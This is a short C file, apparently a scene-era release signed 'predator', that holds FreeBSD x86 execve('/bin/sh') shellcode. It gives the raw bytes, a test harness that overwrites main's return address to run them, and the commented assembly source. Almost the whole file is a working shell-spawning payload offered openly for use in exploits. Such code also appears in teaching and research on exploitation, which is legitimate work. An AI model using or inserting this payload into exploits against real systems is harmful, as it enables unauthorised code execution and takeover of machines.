/* This is FreeBSD execve() code.It is 37 bytes long.I'll try to make it * * smaller.Till then use this one. * * signed predator * * preedator(at)sendmail(dot)ru * *************************************************************************/ char FreeBSD_code[]= "\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x50\x8d" "\x53\x08\x52\x53\xb0\x3b\x50\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh"; int main(){ int *ret=(int *)(&ret+2); printf("len : %d\n",strlen(FreeBSD_code)); *ret=(int)FreeBSD_code; } /***************************************** *int main(){ * * __asm__("jmp callme \n" * * "jmpme: \n" * * "pop %ebx \n" * * "xorl %eax,%eax \n" * * "movb %al,0x7(%ebx) \n" * * "movl %ebx,0x8(%ebx) \n" * * "movl %eax,0xc(%ebx) \n" * * "push %eax \n" * * "leal 0x8(%ebx),%edx \n" * * "push %edx \n" * * "push %ebx \n" * * "movb $0x3b,%al \n" * * "push %eax \n" * * "int $0x80 \n" * * "callme: \n" * * "call jmpme \n" * * ".string \"/bin/sh\" \n"); * *} * *****************************************/